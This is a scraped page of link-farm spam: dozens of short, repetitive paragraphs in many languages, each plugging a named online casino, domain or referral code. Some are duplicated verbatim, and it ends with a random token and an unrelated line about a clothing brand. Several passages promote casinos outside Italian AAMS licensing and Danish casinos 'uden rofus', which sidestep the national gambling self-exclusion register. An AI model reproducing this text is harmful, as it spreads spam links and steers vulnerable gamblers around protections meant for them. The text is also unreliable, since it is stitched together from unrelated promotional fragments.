Online casinoer tilbyder en række spil, der kan spilles fra komforten af dit eget hjem. Mange spillere vælger at udforske forskellige platforme, og en populær mulighed er casino hitnspin, hvor man kan finde et bredt udvalg af spil og bonusser.
Online-Casinos bieten Spielern die Möglichkeit, verschiedene Spiele bequem von zu Hause aus zu genießen. Viele Plattformen, wie casino nv, ermöglichen es Nutzern, mit echten Dealern zu interagieren und ein authentisches Casino-Erlebnis zu erleben. Die Auswahl an Spielen reicht von klassischen Tischspielen bis hin zu modernen Spielautomaten.
Online-Casinos bieten Spielern die Möglichkeit, verschiedene Spiele bequem von zu Hause aus zu genießen. Viele Plattformen, wie 20betbet.ch, bieten eine Vielzahl von Optionen, darunter Spielautomaten, Tischspiele und Live-Dealer-Erlebnisse. Es ist wichtig, sich über die Sicherheitsmaßnahmen und die Lizenzierung der Anbieter zu informieren, um ein sicheres Spielerlebnis zu gewährleisten.
Online casino's bieden een breed scala aan spellen, van klassieke tafelspellen tot moderne videoslots. Spelers kunnen genieten van de voordelen van thuis gokken, terwijl ze ook de mogelijkheid hebben om verantwoord te spelen. Voor meer informatie over gezondheid en welzijn, bezoek fysiovisie.nl.
Online-Casinos bieten eine Vielzahl von Spielen und Unterhaltungsmöglichkeiten, die bequem von zu Hause aus zugänglich sind. Spieler können verschiedene Spiele ausprobieren und ihre Strategien entwickeln, während sie die Vorteile von Boni und Aktionen nutzen. Eine beliebte Plattform in diesem Bereich ist tipwin, die eine benutzerfreundliche Oberfläche und eine breite Auswahl an Spielen bietet.
Online-Casinos bieten Spielern die Möglichkeit, verschiedene Spiele bequem von zu Hause aus zu genießen. Viele Plattformen, wie polestarcasinogermany.de, bieten eine breite Auswahl an Spielautomaten, Tischspielen und Live-Dealer-Optionen, die ein authentisches Casino-Erlebnis simulieren.
Les casinos en ligne offrent une variété de jeux qui attirent de nombreux joueurs. Ils permettent de jouer depuis chez soi, offrant ainsi une expérience pratique et accessible. Pour en savoir plus sur les casinos sans conditions de mise, vous pouvez consulter http://lepetitjournal.com/jeux/fr-ca/casinos-sans-conditions-de-mise.
Les casinos en ligne offrent une variété de jeux de hasard accessibles depuis chez soi, permettant aux joueurs de profiter d'une expérience immersive. Pour en savoir plus sur la sécurité et les jeux disponibles, vous pouvez consulter deveiligedriehoek.be qui fournit des informations détaillées sur le sujet.
Online-Casinos bieten Spielern die Möglichkeit, verschiedene Spiele bequem von zu Hause aus zu genießen. Auf Plattformen wie mrpachocazino.ch können Nutzer eine Vielzahl von Spielautomaten, Tischspielen und Live-Dealer-Optionen finden, die ein authentisches Casino-Erlebnis simulieren.
Online kasinoer har blitt stadig mer populære, og mange spillere søker etter plattformer som tilbyr et bredt utvalg av spill. En av de mest kjente er Metaspins, som gir brukerne muligheten til å spille både klassiske og moderne casinospill fra komforten av hjemmet.
Online-Casinos bieten Spielern die Möglichkeit, ihre Lieblingsspiele bequem von zu Hause aus zu genießen. Mit einer Vielzahl von Optionen, darunter Spielautomaten und Tischspiele, sind sie eine beliebte Wahl. Viele Plattformen, wie https://crazybuzzer.radio.fm/, bieten zudem sichere Zahlungsmethoden und einen einfachen Zugang zu Spielinformationen.
Online casinos bieden een breed scala aan spellen en mogelijkheden voor spelers om te genieten van hun favoriete spellen vanuit het comfort van hun huis. Veel platforms accepteren verschillende betaalmethoden, waaronder online casinos neosurf, wat het voor spelers gemakkelijk maakt om hun transacties te beheren.
Online-Casinos bieten eine Vielzahl von Spielen und Unterhaltungsmöglichkeiten, die bequem von zu Hause aus zugänglich sind. Spieler können verschiedene Spiele ausprobieren, während sie die Vorteile von Boni und Aktionen nutzen. Eine informative Ressource zu diesem Thema ist alterspins.ch, wo Nutzer mehr über die besten Online-Casinos erfahren können.
Online-Casinos bieten Spielern die Möglichkeit, verschiedene Spiele bequem von zu Hause aus zu genießen. Viele Plattformen, wie legzo casino, bieten eine breite Auswahl an Spielen, von Spielautomaten bis zu Tischspielen, und ermöglichen es den Nutzern, in einer sicheren Umgebung zu spielen.
Online casinoer tilbyder en række spilmuligheder, der kan nydes fra komforten af dit eget hjem. Spillere kan finde alt fra klassiske bordspil til moderne videoautomater. For dem, der ønsker at udforske nye platforme, kan winnerz casino være et interessant valg at overveje.
Online-Casinos bieten Spielern die Möglichkeit, verschiedene Spiele bequem von zu Hause aus zu genießen. Viele Plattformen, wie https://yukoncasino.at/, ermöglichen es Nutzern, eine Vielzahl von Spielen auszuprobieren, darunter Spielautomaten, Poker und Roulette. Die Sicherheit und Fairness der Spiele sind dabei wichtige Aspekte, die von den Anbietern gewährleistet werden müssen.
Online-Casinos bieten Spielern die Möglichkeit, verschiedene Spiele bequem von zu Hause aus zu genießen. Viele Plattformen, wie interwetten26.radio.fm, bieten eine breite Auswahl an Spielen und attraktive Bonusangebote, die das Spielerlebnis verbessern können.
Les casinos en ligne offrent une variété de jeux accessibles depuis chez soi, permettant aux joueurs de profiter de l'expérience de jeu sans se déplacer. Pour ceux qui cherchent les meilleures options, le meilleur casino belgique en ligne est une ressource utile pour découvrir des plateformes fiables et divertissantes.
Online casinoer tilbyder en bred vifte af spil, der kan nydes hjemmefra, hvilket gør det nemt for spillere at deltage i underholdningen. Mange platforme, såsom pip casino, giver adgang til både klassiske og moderne spil, hvilket tiltrækker en varieret gruppe af spillere.
Online casinoer tilbyder en bred vifte af spil, der kan nydes fra komforten af dit eget hjem. Spillere kan finde alt fra klassiske bordspil til moderne spilleautomater. For dem, der ønsker at logge ind, kan nine casino login være en nyttig ressource til at komme i gang med at spille sikkert og ansvarligt.
Online-Casinos bieten eine Vielzahl von Spielen und Unterhaltungsmöglichkeiten, die bequem von zu Hause aus zugänglich sind. Spieler können verschiedene Spiele ausprobieren, von Slots bis zu Tischspielen, und dabei die Vorteile von Boni und Aktionen nutzen. Eine empfehlenswerte Plattform ist casinorexaustria.at, die eine sichere und benutzerfreundliche Umgebung für Online-Glücksspiele bietet.
Online casino's bieden een breed scala aan spellen en entertainment, waardoor spelers vanuit hun eigen huis kunnen genieten van de spanning van gokken. Veel mensen kiezen ervoor om te spelen bij een betrouwbaar platform zoals casino belgium, waar ze veilig en verantwoord kunnen gokken.
Online casinoer tilbyder en række spilmuligheder, der kan nydes fra komforten af dit eget hjem. Mange spillere søger efter et casino uden rofus for at undgå registreringskrav, hvilket gør det lettere at komme i gang med at spille. Det er vigtigt at vælge et pålideligt online casino for at sikre en sikker og underholdende oplevelse.
Online casinos have gained popularity in recent years, offering players the convenience of gambling from home. Many platforms provide a variety of games, including slots and table games, catering to different preferences. One such option is Villento Casino, which features a wide selection of gaming experiences for users to explore.
Online casinos have gained popularity in recent years, offering players the convenience of gambling from home. Many platforms, such as Ozwin Casino, provide a wide range of games, including slots and table games, catering to diverse preferences and skill levels.
Online casinoer tilbyder en bred vifte af spil, herunder slots, poker og blackjack, som spillere kan nyde fra komforten af deres eget hjem. Det er vigtigt at vælge en pålidelig platform, som godz-casino-online-dk.com for at sikre en sikker og underholdende spiloplevelse.
Online casinos have gained popularity in recent years, offering players the convenience of gambling from home. Many platforms provide a variety of games, including slots and table games, making it easy to find something enjoyable. For those interested in trying their luck, an excellent option is to explore an online casino for real money which allows players to engage in real money gaming.
Online casinos have gained popularity due to their convenience and variety of games, allowing players to enjoy gambling from the comfort of their homes. Many players seek out the best canadian casino sites for a comprehensive gaming experience, ensuring they find reputable platforms that offer fair play and security.
Online casinos have gained popularity in recent years, offering players the convenience of gambling from home. Many platforms provide various games, including slots and table games, along with enticing promotions like a casino bonus canada for new players. As technology advances, the online gaming experience continues to evolve, attracting a diverse audience.
Online casinos have gained popularity due to their convenience and variety of games, allowing players to enjoy gambling from the comfort of their homes. Many players seek out the best canadian casino sites for a reliable gaming experience, ensuring they find reputable platforms that offer fair play and secure transactions.
Negli ultimi anni, i casinò online hanno guadagnato popolarità in Italia, offrendo una vasta gamma di giochi e opportunità di intrattenimento. È importante scegliere piattaforme affidabili e sicure, come top casino non aams, per garantire un'esperienza di gioco positiva e protetta.
Online casinos have gained popularity due to their convenience and variety of games, allowing players to enjoy their favorite activities from home. Many platforms offer a wide selection of options, including the best online slots canada which attract players looking for exciting gameplay and potential rewards. As technology advances, the experience continues to improve, making online gambling more accessible than ever.
Online casinoer tilbyder en bred vifte af spil, der kan nydes fra komforten af dit eget hjem. Spillere kan finde alt fra klassiske bordspil til moderne spilleautomater. For dem, der ønsker at udforske mulighederne, kan bet25 casino være en god start for at finde de bedste online casinoer i Danmark.
Online casinos have gained popularity in recent years, offering a convenient way for players to enjoy their favorite games from home. Many platforms provide a wide variety of options, including slots, table games, and live dealer experiences. For more information about online gaming, you can visit iamdoner.ca for insights and resources.
I casinò online offrono un'ampia varietà di giochi e opportunità di intrattenimento, ma è importante scegliere piattaforme affidabili come top casino non aams per garantire un'esperienza di gioco sicura e divertente.
I casinò online offrono un'ampia varietà di giochi e opportunità di intrattenimento, ma è importante scegliere piattaforme affidabili come casino non aams per garantire un'esperienza di gioco sicura e divertente.
Online casinos have gained popularity in recent years, offering players the convenience of gambling from home. Many platforms provide a variety of games, including slots and table games, catering to different preferences. For more information on online gaming options, you can visit epiceriealterrenative.ca for additional resources.
I casinò online offrono un'ampia varietà di giochi e opportunità di intrattenimento, ma è importante scegliere piattaforme affidabili. Un esempio di casinò che non è regolamentato dall'AAMS è casino non aams, dove gli utenti possono esplorare diverse opzioni di gioco.
Online casinos have gained popularity in recent years, offering a wide range of options for players to enjoy from the comfort of their homes. Many platforms provide a variety of online casino games canada that cater to different preferences and skill levels, making it easier for individuals to find games that suit them. As technology advances, the experience of playing at an online casino continues to improve, providing enhanced graphics and user interfaces.
Online casinos have gained popularity due to their convenience and accessibility, allowing players to enjoy a variety of games from the comfort of their homes. Many platforms offer enticing features, such as a casino welcome bonus canada that can enhance the gaming experience for new players in Canada.
Online casinos have gained popularity in recent years, offering a wide variety of games and entertainment options. Players can enjoy a range of experiences from the comfort of their homes, including slots, table games, and live dealer options. For those interested in exploring the best options, online casino games canada provides a comprehensive guide to online casino games in Canada.
Online casinos have gained popularity in recent years, offering a wide variety of games and entertainment options. Players can enjoy a range of experiences, including slots and table games, all from the comfort of their homes. For those interested in exploring options, there are many platforms that provide access to online casino games for canadians that cater specifically to canadians.
Online-Casinos bieten Spielern die Möglichkeit, verschiedene Spiele bequem von zu Hause aus zu genießen. Viele Plattformen, wie https://win2daycasinos.at/, bieten eine Vielzahl von Optionen, darunter Spielautomaten, Tischspiele und Live-Dealer-Erlebnisse, die den Besuch eines physischen Casinos simulieren.
Online casinos have gained popularity in recent years, offering a wide range of options for players to enjoy from the comfort of their homes. Many platforms provide various online casino games for canadians that cater specifically to different audiences, ensuring a diverse gaming experience.
I casinò online offrono un'ampia varietà di giochi e opportunità di intrattenimento, ma è importante scegliere piattaforme affidabili. Un'opzione da considerare è il casino non aams, dove è possibile trovare informazioni utili sui casinò non regolamentati in Italia.
Online casinos have gained popularity in recent years, offering players the convenience of gambling from home. Many platforms provide a wide range of games, including slots and table games, making it accessible for various preferences. For those interested in exploring options, online gambling canada can provide insights into the best practices and regulations surrounding online gambling in Canada.
Online casinos have gained popularity in recent years, offering a wide variety of games and entertainment options. Players can enjoy the thrill of gambling from the comfort of their homes, with many platforms providing access to online casino games canada that cater to different preferences and skill levels. As technology advances, the experience of playing online continues to improve, making it an appealing choice for many.
Online-Casinos bieten eine Vielzahl von Spielen und Unterhaltungsmöglichkeiten, die bequem von zu Hause aus zugänglich sind. Spieler können verschiedene Spiele ausprobieren, darunter Spielautomaten und Tischspiele, während sie die Vorteile von Boni und Promotions nutzen. Eine gute Informationsquelle über Online-Casinos ist https://9-casino.ch/, die umfassende Bewertungen und Tipps bereitstellt.
Online casinos have gained popularity due to their convenience and variety of games. Players can enjoy a range of options from slots to table games, often enhanced by online casino bonuses that attract new users. As technology advances, the experience continues to improve, making it accessible to a wider audience.
Online casinos have gained popularity due to their convenience and variety of games, allowing players to enjoy gambling from the comfort of their homes. Many platforms offer enticing features, including a casino bonus canada that can enhance the gaming experience for new users. As technology advances, the online casino industry continues to evolve, providing innovative options for entertainment.
Online casinos have gained popularity in recent years, offering players the convenience of gambling from home. Many platforms provide a variety of games, including slots and table games, which can be accessed easily. For more information on this topic, you can visit edmontonmetropanel.ca for insights and resources.
Online casinoer tilbyder en bred vifte af spil og underholdning, hvilket gør dem populære blandt spillere. Mange vælger at spille på udenlandske casinoer uden rofus for at få adgang til et større udvalg af spil uden restriktioner. Det er vigtigt at vælge et sikkert og pålideligt casino for at sikre en god spilleoplevelse.
I casinò online offrono una vasta gamma di giochi e opportunità di intrattenimento, ma è importante scegliere piattaforme sicure e affidabili. Tra le opzioni disponibili, ci sono anche quelli che non sono regolamentati dall'AAMS, come si può scoprire su casino non aams.
Een betrouwbare platform kiezen is essentieel om online gokken in optimale omstandigheden te beleven; veiligheid van betalingen, diversiteit aan gokkasten, welkomstbonussen en snelle uitbetalingen beïnvloeden de speelervaring aanzienlijk. Bezoek
trixino voor een overzicht van casino’s en om de belangrijkste criteria te begrijpen voordat u inzet.
trixino
Online casinos have gained popularity in recent years, offering a wide range of games and betting options to players around the world. Many platforms, such as King Billy Casino, provide a user-friendly experience, allowing individuals to enjoy their favorite games from the comfort of their homes. As technology advances, the online gambling industry continues to evolve, ensuring a secure and entertaining environment for users.
Online kasina se stávají stále populárnějšími a nabízejí širokou škálu her, které si můžete užít z pohodlí domova. Mezi nimi je i Joker8 casino, které poskytuje různé možnosti zábavy a šance na výhru.
Online casinos have gained popularity in recent years, offering players the convenience of gambling from home. Many platforms provide various games, including slots and table games, along with enticing promotions like a casino welcome bonus canada that can enhance the gaming experience for new players in Canada.
Online kasina se stávají stále populárnějšími, protože nabízejí širokou škálu her a pohodlný přístup z domova. Mnoho hráčů se zajímá o bezpečnost a férovost těchto platforem, a proto je důležité vybírat pouze licencované stránky, jako je velkaprestavka.sk.
Online casinoer tilbyder en række spilmuligheder, der kan spilles fra komforten af dit eget hjem. Mange spillere vælger at udforske forskellige platforme, hvor de kan finde underholdning og potentielle gevinster. For mere information kan du besøge https://betibet-casino-denmark.com.
Online casinos have gained popularity in recent years, offering players the convenience of gambling from home. Many platforms provide a variety of games, including slots and table games, while ensuring security and fairness. For more information on the latest trends in online gaming, visit frontiersales.ca.
Online casinos have gained popularity due to their convenience and accessibility, allowing players to enjoy a variety of games from the comfort of their homes. Many players seek out the best canadian casino sites for a comprehensive list of options, ensuring a safe and enjoyable gaming experience.
Een betrouwbare platform kiezen is essentieel om optimaal te genieten van online gokken, waarbij de veiligheid van betalingen, de diversiteit aan gokkasten, aantrekkelijke bonussen en snelle uitbetalingen de spelervaring sterk beïnvloeden. De gids
cashobet casino helpt spelers sites te vergelijken en de belangrijkste criteria te begrijpen voordat ze hun geluk beproeven.
Online kasinoer har blitt stadig mer populære, og de tilbyr et bredt spekter av spillalternativer for spillere. Mange av disse plattformene, som ProntoBet online, gir brukerne muligheten til å spille fra komforten av sitt eget hjem, noe som gjør det enklere å nyte favorittspillene uten å måtte reise til et fysisk kasino.
Online kasina se stávají stále populárnějšími a nabízejí širokou škálu her, od automatů po stolní hry. Hráči mohou využít různé výhody, jako jsou bonusy a akce, které zlepšují jejich herní zážitek. Například, pokud hledáte zajímavé nabídky, můžete se podívat na casino bonus pro více informací o dostupných bonusech.
A nyerőgépek és online kaszinók ereje napjainkban mindenkinek elérhető, de legfontosabb, hogy megbízható platformot válassz. Biztonságos fizetési módok, választékos játékek, vonzó bónuszok és gyors visszavonási lehetőségek jelentik a siker élményét. A
betbluff segíti a játékosokat a legjobb tanácsok és tippek megtalálásában, így jó döntést hozhatnak a kaszinóban.
Online casinos offer a wide variety of games that can be enjoyed from the comfort of your home, providing an exciting alternative to traditional gambling. Many players are drawn to the opportunity to play casino games for real money and experience the thrill of winning without needing to visit a physical location. With advancements in technology, these platforms have become increasingly popular and accessible.
Online kasina se stávají stále populárnějšími, protože nabízejí širokou škálu her a pohodlný přístup z domova. Hráči mohou snadno najít informace o různých platformách, jako je nitrianskadeklaracia.sk, které poskytují recenze a srovnání herních možností.
Online casinoer tilbyder en række spil, der kan spilles fra komforten af dit eget hjem, hvilket gør dem til en populær underholdningsmulighed. Mange spillere søger efter muligheder som casino uden rofus, som giver adgang til spil uden restriktioner. Det er vigtigt at vælge et pålideligt online casino for at sikre en sikker og fair spiloplevelse.
Online kasina se stávají stále populárnějšími, protože nabízejí hráčům možnost hrát oblíbené hry z pohodlí domova. Mnoho lidí se zajímá o to, jak fungují a jaké jsou jejich výhody. Pro více informací o online kasinech navštivte online kasino.
Choosing a trustworthy platform is essential for enjoying online gambling, because secure payments, a wide array of casino games, generous bonuses, and fast withdrawals shape players' experience. Use the
referral code rainbet to unlock exclusive benefits and join a community of savvy gamblers.
Online kasina nabízejí širokou škálu her, které si mohou hráči vychutnat z pohodlí domova. Mezi populární možnosti patří casino hry a další zábavné aktivity, které přitahují milovníky hazardu. Je důležité si být vědom pravidel a rizik spojených s hraním online.
Het kiezen van een betrouwbaar gokplatform is essentieel voor een optimale beleving van online casino’s, omdat veilige betalingen, een breed assortiment aan gokkasten, aantrekkelijke bonussen en snelle uitbetalingen de spelervaring sterk beïnvloeden. De gids
trixino helpt bij het vergelijken van sites en het begrijpen van belangrijke criteria voorafgaand aan het spelen in een casino.
Het kiezen van een betrouwbare casino website is cruciaal voor een veilige en plezierige gokervaring, omdat het verborgen risico’s vermindert, de variëteit aan gokkastspellen, de aangeboden bonussen en de snelheid van uitbetalingen allemaal een grote invloed hebben op de tevredenheid van spelers. De gids
millioner vergelijkt de beschikbare diensten en helpt gamers om de juiste keuze te maken voordat ze inzetten in een casino.
Rozpoznawanie wiarygodnej platformy jest kluczowe, by cieszyć się grą w kasynie online w komfortowych warunkach: bezpieczeństwo płatności, różnorodność automatów, atrakcyjne bonusy oraz szybkie wypłaty znacząco wpływają na doświadczenie gracza. Przewodnik
legiano kasyno pomaga porównać dostępne strony i lepiej zrozumieć istotne kryteria przed wejściem do kasyna.
Rozpoznawanie wiarygodnej platformy jest kluczowe, by cieszyć się grą w kasynie online w komfortowych warunkach: bezpieczeństwo płatności, różnorodność automatów, atrakcyjne bonusy oraz szybkie wypłaty znacząco wpływają na doświadczenie gracza. Przewodnik
legiano kasyno pomaga porównać dostępne strony i lepiej zrozumieć istotne kryteria przed wejściem do kasyna.
Rozpoznawanie wiarygodnej platformy jest kluczowe, by cieszyć się grą w kasynie online w komfortowych warunkach: bezpieczeństwo płatności, różnorodność automatów, atrakcyjne bonusy oraz szybkie wypłaty znacząco wpływają na doświadczenie gracza. Przewodnik
legiano kasyno pomaga porównać dostępne strony i lepiej zrozumieć istotne kryteria przed wejściem do kasyna.
Rozpoznawanie wiarygodnej platformy jest kluczowe, by cieszyć się grą w kasynie online w komfortowych warunkach: bezpieczeństwo płatności, różnorodność automatów, atrakcyjne bonusy oraz szybkie wypłaty znacząco wpływają na doświadczenie gracza. Przewodnik
legiano kasyno pomaga porównać dostępne strony i lepiej zrozumieć istotne kryteria przed wejściem do kasyna.
Nice day TkbfUhtN52f7gmw1KlYDqwMU
Online casinos offer a convenient way for players to enjoy their favorite games from the comfort of their homes. Many platforms provide a wide variety of options, allowing users to play casino games online at their leisure. With advancements in technology, the experience has become more immersive and accessible than ever before.
Откройте для себя мир онлайн-казино с богатым выбором игр и щедрыми бонусами на платформе prointernet-casino.cz, где каждый найдет что-то по своему вкусу и сможет испытать удачу в удобной обстановке. Погрузитесь в захватывающие игровые приключения и выигрышные возможности прямо у себя дома!
Откройте для себя мир онлайн-казино на сайте https://prointernet-kasyno.pl/, где вас ждут захватывающие игры, щедрые бонусы и возможность выиграть настоящие деньги, не выходя из дома. Погружение в азарт и развлечения на каждом шагу — не упустите шанс испытать удачу!
Where is spider made? Spider Worldwide produces its pieces with premium materials and detailed construction that Young Thug personally oversees.